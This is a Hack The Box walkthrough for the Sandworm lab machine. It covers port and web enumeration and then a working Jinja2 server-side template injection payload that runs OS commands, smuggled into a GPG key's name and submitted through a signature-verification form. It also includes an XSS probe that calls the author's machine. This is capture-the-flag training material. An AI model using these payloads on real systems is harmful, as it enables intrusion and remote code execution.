Hack The Box Walkthrough - Sandworm
This was a fun box. I had to get code execution through GPG by injecting SSTI in the name field of a key. Next I had to find a user’s credentials, abuse a cron to get back to the first user I found. And finally exploit a vulnerability in Firejail. The box was themed around the NSA, which added a nice twist.
- Room: Sandworm
- Difficulty: Medium
- URL: https://app.hackthebox.com/machines/Sandworm
- Author: C4rm3l0
Enumeration
I ran Rustscan to detect any open ports on the machine.
$ rustscan -a target -- -A -Pn | tee rust.txt
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/ehogue/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.129.210.200:22
Open 10.129.210.200:80
Open 10.129.210.200:443
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p ")
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-27 20:05 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:05
Completed NSE at 20:05, 0.00s elapsed
...
Nmap scan report for target (10.129.210.200)
Host is up, received user-set (0.048s latency).
Scanned at 2023-08-27 20:05:39 EDT for 14s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
443/tcp open ssl/http syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA/organizationalUnitName=SSA/emailAddress=atlas@ssa.htb/localityName=Classified
| Issuer: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA/organizationalUnitName=SSA/emailAddress=atlas@ssa.htb/localityName=Classified
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-04T18:03:25
| Not valid after: 2050-09-19T18:03:25
| MD5: b8b7:487e:f3e2:14a4:999e:f842:0141:59a1
...
|_-----END CERTIFICATE-----
|_http-title: Secret Spy Agency | Secret Security Service
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:05
Completed NSE at 20:05, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:05
Completed NSE at 20:05, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:05
Completed NSE at 20:05, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds
There were three open ports.
- 22 (SSH)
- 80 (HTTP)
- 443 (HTTPS)
Both HTTP ports were redirecting to ‘https://ssa.htb’. I added that domain to my hosts file and ran a scan for possible subdomains.
$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt -X POST -t30 --hw 12 -H "Host:FUZZ.ssa.htb" "http://ssa.htb"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://ssa.htb/
Total requests: 648201
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 0
Processed Requests: 648201
Filtered Requests: 648201
Requests/sec.: 0
It did not find any. I also scanned for UDP ports without finding anything of interest.
$ sudo nmap -sU target -v -oN nmapUdp.txt --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-04 09:56 EDT
Initiating Ping Scan at 09:56
Scanning target (10.129.229.16) [4 ports]
Completed Ping Scan at 09:56, 0.09s elapsed (1 total hosts)
Initiating UDP Scan at 09:56
Scanning target (10.129.229.16) [1000 ports]
Completed UDP Scan at 09:56, 0.49s elapsed (1000 total ports)
Nmap scan report for target (10.129.229.16)
Host is up (0.066s latency).
Not shown: 997 open|filtered udp ports (no-response)
PORT STATE SERVICE
515/udp closed printer
1072/udp closed cardax
28641/udp closed unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds
Raw packets sent: 2089 (98.548KB) | Rcvd: 4 (268B)
Website
I opened a browser to look at the website.
It was the site for a spying agency. I looked around the site. The contact form allowed sending a PGP encrypted message.
The guide page had a few forms to test encrypting, decrypting, and signing messages.
There was also a public key that was provided to encrypt messages.
I ran Feroxbuster to check for hidden pages.
$ feroxbuster -u https://ssa.htb -o ferox.txt -k
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.0
───────────────────────────┬──────────────────────
🎯 Target Url │ https://ssa.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💾 Output File │ ferox.txt
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 83l 249w 4392c https://ssa.htb/login
302 GET 5l 22w 229c https://ssa.htb/logout => https://ssa.htb/login?next=%2Flogout
200 GET 69l 261w 3543c https://ssa.htb/contact
200 GET 77l 554w 5584c https://ssa.htb/about
200 GET 23l 44w 668c https://ssa.htb/static/scripts.js
302 GET 5l 22w 227c https://ssa.htb/admin => https://ssa.htb/login?next=%2Fadmin
200 GET 1l 10w 41992c https://ssa.htb/static/favicon.ico
200 GET 6l 374w 21258c https://ssa.htb/static/popper.min.js
200 GET 155l 691w 9043c https://ssa.htb/guide
200 GET 1346l 6662w 63667c https://ssa.htb/static/bootstrap-icons.css
200 GET 3l 1297w 89477c https://ssa.htb/static/jquery.min.js
200 GET 7l 1031w 78130c https://ssa.htb/static/bootstrap.bundle.min.js
200 GET 2019l 10020w 95610c https://ssa.htb/static/bootstrap-icons2.css
302 GET 5l 22w 225c https://ssa.htb/view => https://ssa.htb/login?next=%2Fview
200 GET 12292l 23040w 222220c https://ssa.htb/static/styles.css
200 GET 304l 1591w 115308c https://ssa.htb/static/eagl2.png
200 GET 124l 634w 8161c https://ssa.htb/
405 GET 5l 20w 153c https://ssa.htb/process
200 GET 155l 691w 9043c https://ssa.htb/guide/encrypt
200 GET 54l 61w 3187c https://ssa.htb/pgp
200 GET 10161l 60431w 4580604c https://ssa.htb/static/circleLogo2.png
200 GET 155l 691w 9043c https://ssa.htb/guide/verify
[####################] - 5m 119622/119622 0s found:22 errors:0
[####################] - 5m 119601/119601 429/s https://ssa.htb/
It found a login page. I tried SQL and NoSQL injections on it. Nothing worked, so I started looking at what I could do with the encryption functionalities.
The first thing I tried was the contact form. I created a simple payload with XXS and SSTI in it.
<html>
<head></head>
<body>
</body>
{{ 7*7 }}{% raw %}
<img src="10.10.14.19/img" />
</html>
I know the basic commands for GPG, but I barely use them, so I looked for a tutorial. I found a good one from DigitalOcean.
I imported the public key that was provided, and used it to encrypt my payload.
$ gpg --import ssa.pub
gpg: key C61D429110B625D4: public key "SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>" imported
gpg: Total number processed: 1
gpg: imported: 1
$ gpg --list-keys
/home/ehogue/.gnupg/pubring.kbx
-------------------------------
pub rsa4096 2023-05-04 [SC]
D6BA9423021A0839CCC6F3C8C61D429110B625D4
uid [ unknown] SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>
sub rsa4096 2023-05-04 [E]
$ gpg --encrypt --armor -r atlas@ssa.htb test.html
gpg: 6BB733D928D14CE6: There is no assurance this key belongs to the named user
sub rsa4096/6BB733D928D14CE6 2023-05-04 SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>
Primary key fingerprint: D6BA 9423 021A 0839 CCC6 F3C8 C61D 4291 10B6 25D4
Subkey fingerprint: 4BAD E0AE B5F5 5080 6083 D5AC 6BB7 33D9 28D1 4CE6
It is NOT certain that the key belongs to the person named
in the user ID. If you *really* know what you are doing,
you may answer the next question with yes.
Use this key anyway? (y/N) y
$ cat test.html.asc
-----BEGIN PGP MESSAGE-----
hQIMA2u3M9ko0UzmAQ//bex3rMdInGGOJJvu/rsGmNG4lsG2NZsEPuo248LO3WXo
Gz0LPHaiywTZ3wGKReWBtarqepc/LNMXkq9pjr3H8dSyS8e+IPqbxo0N/1FvzZvY
Cri9BOvsHyHL2ZvcpMKEey+P5XmAmm/5BqANrUjmGFfoLq7wtuUsxskFeHnHwxsH
1TsmulzhGkgON8xJ0umq0AtXzHYJ+YnL8I/zjcPRs8jEe48R4T/QdkEwNPHnIAhZ
AN+stNPtM+7hlc/A+DzuXNSu2lAqNtF02WOHETewyCE2ypB6uRjVeoOxp2Njd0+1
kCLHA+4eNfyC74zkqKJwPcvkHvbYIsWrxl9Afs/EUzd8SVFU2Xyuk2kspj58g5wk
FKUTWj5JA9/c/pqZt9WP0DDnvNu21mP713SOgKiqFvvsPr31KSGub03LxXpxaeiN
SjXxGNATVOmZ9GzXM5ihnVXhcMfhKiSTVN+1lLHZni2B8FIls34rqUt+dtOdHW+N
RnTgre2VrPZ83x7SyjcWeE9ImL4Vkk7YWZafsTBz7U3pibHvtTqOP92ksCZqyJ2o
hJn/wE2S3wWmI1wEqfo786HYDyTbfnXLpnDFek+Se2EIivogOaz9tw9Ep5XPXlM6
uRqie/iPvGWbstTmW+nVMc4FMs6qYmOgBSDXUNKeHWaeqQ4ggb1YlBQHsCGfWFPS
hQFVNoKAu2XhR6TF5w8DpYdcm5jXpqmZkM6w+IBl0c9LB+BOnq6gvCMoQfCDMkXJ
pPrPYrutyNtYEZZUFaFmspWUp6esqPgX4IlP6ChNnTdyqiE6i5GIRl7YivtR9rBw
nyZTKAs65KKocu0ug2Hiox39aa4ah09h1jTXYNSLr00GXRQ//VU=
=rtcl
-----END PGP MESSAGE-----
I started a web server on my machine, and sent the message through the contact form. The message was not reflected back to me, so I did not know if the SSTI worked. I waited a little bit to see if an admin from the site would look at my message in a browser. I did not get any hit on my web server. I could have continued trying SSTI, but at this point I had no idea if a templating engine was used, which one it would be, and if the messages I sent were looked at by anyone. So I took a note and moved to the guide page.
The first form from the guide page took an encrypted message and decrypted it. I use the same payload that I build for the contact form and tried to decrypt it.
The decryption worked. My payload was displayed, but not executed.
The encryption form requested a public key. I could not control the message that was encrypted. I used the provided key, then use the decryption feature to look at the generated message.
This is an encrypted message for SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>.
If you can read this, it means you successfully used your private PGP key to decrypt a message meant for you and only you.
Congratulations! Feel free to keep practicing, and make sure you also know how to encrypt, sign, and verify messages to make your repertoire complete.
SSA: 09/03/2023-14;10;19
The last form of the page allowed verifying a signature. It required a public key, and a signed message to verify. I tried it with the provided key and the example signed message.
This opened a pop-up with the result of the signature verification. And some of the information displayed in the resulting HTML seemed to be coming from the public key. I could probably control some of it if I generated my own key.
I tested it by generating a key where the name would be a simple SSTI and XSS payload. The XSS was rejected because the name cannot contain <
or >
. I tried with only the SSTI.
$ gpg --full-generate-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Please select what kind of key you want:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (sign only)
(4) RSA (sign only)
(14) Existing key from card
Your selection?
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (3072)
Requested keysize is 3072 bits
Please specify how long the key should be valid.
0 = key does not expire
<n> = key expires in n days
<n>w = key expires in n weeks
<n>m = key expires in n months
<n>y = key expires in n years
Key is valid for? (0)
Key does not expire at all
Is this correct? (y/N) y
GnuPG needs to construct a user ID to identify your key.
Real name: <img src="10.10.14.19/name" /> {% raw %}{{ 7 * 7 }}
Invalid character in name
The characters '<' and '>' may not appear in name
Real name: {{ 7 * 7 }}
Email address: {{ 7 * 7 }}
Not a valid email address
Email address: test@test.com
Comment: aaa
You selected this USER-ID:
"{{ 7 * 7 }} (aaa) <test@test.com>"
Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? o
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: directory '/home/ehogue/.gnupg/openpgp-revocs.d' created
gpg: revocation certificate stored as '/home/ehogue/.gnupg/openpgp-revocs.d/3FEDA77DD0FA82D9BE7BA048EE4A837D493C53BC.rev'
public and secret key created and signed.
pub rsa3072 2023-09-02 [SC]
3FEDA77DD0FA82D9BE7BA048EE4A837D493C53BC
uid {{ 7 * 7 }} (aaa) <test@test.com>
sub rsa3072 2023-09-02 [E]
I used the generated key to sign a message.
$ gpg --list-keys
gpg: checking the trustdb
gpg: marginals needed: 3 completes needed: 1 trust model: pgp
gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
/home/ehogue/.gnupg/pubring.kbx
-------------------------------
pub rsa4096 2023-05-04 [SC]
D6BA9423021A0839CCC6F3C8C61D429110B625D4
uid [ unknown] SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>
sub rsa4096 2023-05-04 [E]
pub rsa3072 2023-09-02 [SC]
3FEDA77DD0FA82D9BE7BA048EE4A837D493C53BC
uid [ultimate] {{ 7 * 7 }} (aaa) <test@test.com>
sub rsa3072 2023-09-02 [E]
$ gpg --output test.pub --armor --export test@test.com
$ cat test.pub
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
YSc/mQeyIjSb3bvlLJABD0OEHGTVDjc=
=n8bG
-----END PGP PUBLIC KEY BLOCK-----
$ gpg --sign --armor test.html
$ cat test.html.asc
-----BEGIN PGP MESSAGE-----
owGbwMvMwMX4zqu51tMmeA/jmtQkzpLU4hK9jJLcnJTP8k42IIYdl01GamKKnY0+
mOKyScpPqQRS+hCaq7pawVzLXKG2lovLJjM3XaG4KNlWydBAD4RM9Awt9YGCSgr6
IB0Q4zoZN7MwMHIxyIopsti/XV574VfTzX3VCzxg7mBlAtnNwMUpABM5nc3D8DTw
UlaToPKXU7k8HHszGhdLta+pixdKEu375vnev/Ls4cMrV0wR0jY8FenwoWVHpkoi
W+qSDROSrA9sX5C0T85sU5N4Z1xKT/xl003VNlrbtaWezlhyonhP5+z8C61vS56e
XzO779tm/7l7N/LEPNHbdL8wJqT5+ilztat71/58VSDIs3rn7Hqvdu0GU57WaWqT
FaacW1TPlNe287BOp9ehqP/fdR8xL1aLSH6hlhxcKLBt39QFz+c/6K//2yi/NMF0
0dI2meI7KenC4aybjlxwYZy8xeHV9R0qgct3vXlWf/TLqaatG1qm7Tl+5GJiU8U9
Z1Vd98h14cuO3j7P6B6suy1HtuKV3L3XD6Y+fM7RftlcbrLn1Fo+G4Xd3q3Oh3jc
gwsYA4MP3L2WziP45kK/7I6p7zjNHitOU6mYsHTiqntZra4C1ZG9ClNCJ1isd7py
YwXL12lOqdn7poRvncr7taB7wcdr/bUMM+P9+g9PP5DcdMDztuRJiT1fJl+Ynn1x
gc/R2QwZXfGer/LvVLNs+Jjy4iEA
=wKkQ
-----END PGP MESSAGE-----
I sent this to the verification form, my payload was executed.
I knew that I could be some code execution on the server, but I did not know which templating engine was used. I tried a few payloads from HackTricks. It looked like the server was using Jinja2, but my payloads were crashing the server. I tried a payload from a different site.
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
I regenerated my GPG key with that payload as the name, signed a message, and pasted it to the form. It worked.
$ gpg --full-generate-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Please select what kind of key you want:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (sign only)
(4) RSA (sign only)
(14) Existing key from card
Your selection?
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (3072)
Requested keysize is 3072 bits
Please specify how long the key should be valid.
0 = key does not expire
<n> = key expires in n days
<n>w = key expires in n weeks
<n>m = key expires in n months
<n>y = key expires in n years
Key is valid for? (0)
Key does not expire at all
Is this correct? (y/N) y
GnuPG needs to construct a user ID to identify your key.
Real name: {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
Email address: test@test.com
Comment:
You selected this USER-ID:
"{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} <test@test.com>"
Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? o
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: revocation certificate stored as '/home/ehogue/.gnupg/openpgp-revocs.d/C303119ABE54DB87FB4922CCAD71986673962A25.rev'
public and secret key created and signed.
pub rsa3072 2023-09-03 [SC]
C303119ABE54DB87FB4922CCAD71986673962A25
uid {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} <test@test.com>
sub rsa3072 2023-09-03 [E]
$ gpg --armor --export test@test.com
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQGNBGT0oQABDACgGN7WIOlFXOnOZFw2mpVOfQigTmQ5kcX7CJFv6ahoLe6b/nHr
5M1EhN/UUOZhSTRuPn8WpxG8Yv/M28WebLtAqps2n/LbGWJk3iv1PzSScewBcPgl
RW6+RVHTUvT3+7KzdoXU6f788yNbSOLz5T/b1+d+skqClyalwqvZpIKKRr/msKwP
2NEjDgbzrMMg6O2mAkYq8kJ08YkF4TCUBBMXy1hvnoybRFWSJ0KyqBluZBmwnFxM
+3yjXjkfLtgEX0ZfYoR6cPAC8jUMk0Mx5HN8mFULwl7CcS45IM4HmIFIPLlqBzpf
7i6qzZooPKygtGRaxoOawqvO0v6m+P7bv6FL6s3IhgxMtck/8LLD4RfLEWouEUjQ
6v84OSu4MPyuOG089uUh+EFOBYLFICzHJzA7/5P0FSCD+z9gdToPaBXfHUnksNLm
u+8z8LZMOcnfPEI8o1q08m0HSvkxpsyjiWhjqtWgbZNa9UlhvaTHxJ37J/uIFa6x
N1oVI1aDHlz8hJMAEQEAAbRke3tyZXF1ZXN0LmFwcGxpY2F0aW9uLl9fZ2xvYmFs
c19fLl9fYnVpbHRpbnNfXy5fX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdpZCcpLnJl
YWQoKX19IDx0ZXN0QHRlc3QuY29tPokBzgQTAQoAOBYhBMMDEZq+VNuH+0kizK1x
mGZzliolBQJk9KEAAhsDBQsJCAcCBhUKCQgLAgQWAgMBAh4BAheAAAoJEK1xmGZz
liolXUYL/2aIyFz7MuLxKVywAOQ+JTZ0U+IgO/T4MuYEq4ktLWdnbwTrLqcYabk/
k7/9SJ65IXdY+0dfeV/aepaq2LNQ6MMORv4ttoxeUprCj/5tLDY1gYJNxCAM0TYk
gHF5rZ1GokhOEpRCTYRQUUxvTm9Wr/UZDL60RPINstQZGAD860lFnDoWpN8+omzc
x55Sxn4B2DNOJkKUbiATki9mBvgDcKPIxRxVG/i0p5SQu0pZDnHJzYvQrz6WrLvA
9Z2GDwu4uvHu4w0FaCJ8RVuvlhIwrQIOaKGOHH5oI1R2u1aYVhML87N3IcDvDOhs
qVeUIPDmOGK5uIWe55ZJZn2p0lCAiUEHf6XHQvQL0XKJEKY9/CBqzy7gJEt67ukf
yNKVBWTFpvlaVWR5pQgq+oBhuWCLG3DIexP6OQwV0Phptr8dnCCOVUFKEP7XEC1c
eOmg3GT/iLrGp4o8m2SgrwYrOFi4GSownXsli7oZiRAJhVK7RIH4Yh6MNELs2gRb
h9H08ZCnlLkBjQRk9KEAAQwAoG3ekYyYn3ImmnobKCCtOWQlhaBP6mz7f8/6hbpG
gpSpApqIalBEUUP1tSKkVSFh+lS3KTH1fb4alY6QUszA7pThiKhKE+BMlII/Y477
JQNBzsGhq0in0Q5AKD5mW0kgxDRsSPz17ZXpwKEWE2q7Y7LfE9UqgKMn+PbJv3Ee
82mDmZzFO49DkjuZ2Rtt0OADIrXZloPjXJl42P9ay98c7PP5EejSPcio/ou3hyw8
Pb4w48vCsoHvv7ezv1WQGKekcZdW/54IwchOuBmf1NFuc+Dy9TqzJ/hZo+wOFlV1
Zz7d/knJPrMAUMJiBaZeQTUMc+hUqsEUMfOX1LhGFNI5jo5HehVSy+xtCeVhkSSZ
M/SbkSY6a3Op5M8YAHZbbox6UrmR/zCZaikDNkzAyqVIpy0hU5W4gNwPpUqZD/C1
7fjPvuuV+pfUhxNEFfe6MRiIs5ysa5tUcv3e/lro5jTNiZZ/O+k7okAyeLJx1NBG
VDXDzoJGJSVy5Z1LYRiIKse/ABEBAAGJAbYEGAEKACAWIQTDAxGavlTbh/tJIsyt
cZhmc5YqJQUCZPShAAIbDAAKCRCtcZhmc5YqJXoiDACMHLbLDipIZim1oXlMQ8N8
F6hZSNqw+RbKCOT3hPKdTdtO4lIdTxUMmiXvtizYw53rbLveyjPJz9BtWJFkhNVt
9/tm4URbbp66ovCIMjG22Fr5DFs4j/e5yQuUpN3w3hvTPkfUWjDjBEHyREnOEi6a
tJzjicjwffe2Ph+osJfadPe8+qPkyu+uHjvqPTLRXEYguBR622YrsWKOQq0utLxc
VdCTwuv4SPQdigVaPKjIFPZkHj4iDZAZvIvmRkhLyiIgbObzrODhpvJjGMkF2MGL
bOGGmr9JugR/jSKOJHHyWaJYRrGh3/h2X5uaB9SmVFLXgYqgvNM1wNKlxQkzN1Sf
Cg/3t8iazOD8VaWOD31JcI5FyZQXZtLdLd+g3PfaiTCC/lmAR/gx3qP0aO9RZ8E5
E7GRizP4OV/uKNLr4E6cNMURRayk/lD+aZBtNpditGFsW3qm6UhhYApma5kS+te5
HC+lTN4VL/aoTAf0CcdEQdwEIp0sBzBLNK1ElFdARTY=
=Ihvx
-----END PGP PUBLIC KEY BLOCK-----
$ rm test.html.asc ; gpg --sign --armor test.html ; cat test.html.asc
-----BEGIN PGP MESSAGE-----
owGbwMvMwMW4tnBGWvE0LVXGNalJnCWpxSV6GSW5OSlfFrrbgBh2XDYZqYkpdjb6
YIrLJik/pRJI6UNorupqBXMtc4XaWi4um8zcdIXiomRbJUMDPRAy0TO01AcKKino
g3RAjOtk3MzCwMjFICumyHKYWXDWvpDb7b89lc7A3MHKBLKbgYtTACbC0cj932GR
XuJsiZVflCr63Oe/02azX5AQyX4iYqaPQvFFdcaGTXduaDef5ypc4ipRsE1s/aa0
goQXfi0SIiLLi+s932yTLcm3PJTM+irYy3rj4neTm9YKhs+6JfXYaOGXG6cSfogX
2+iXK/xPkucuen/vZhWvcfO66ZNNNtp65D5bUPp8E9vZgvL59ye0iZW85Pi7Puiv
wlv+H0nTAgxdqxxzQ+7WfUlid6myWjYx7nrD97vFD82kI19PP6evpnU77NJ5dzM1
z1mSmiWHK7m4JnzSa6myXNTxdolg8et9BrdS1gpkS7X6t07WmWL2fvlFjsi3+i/b
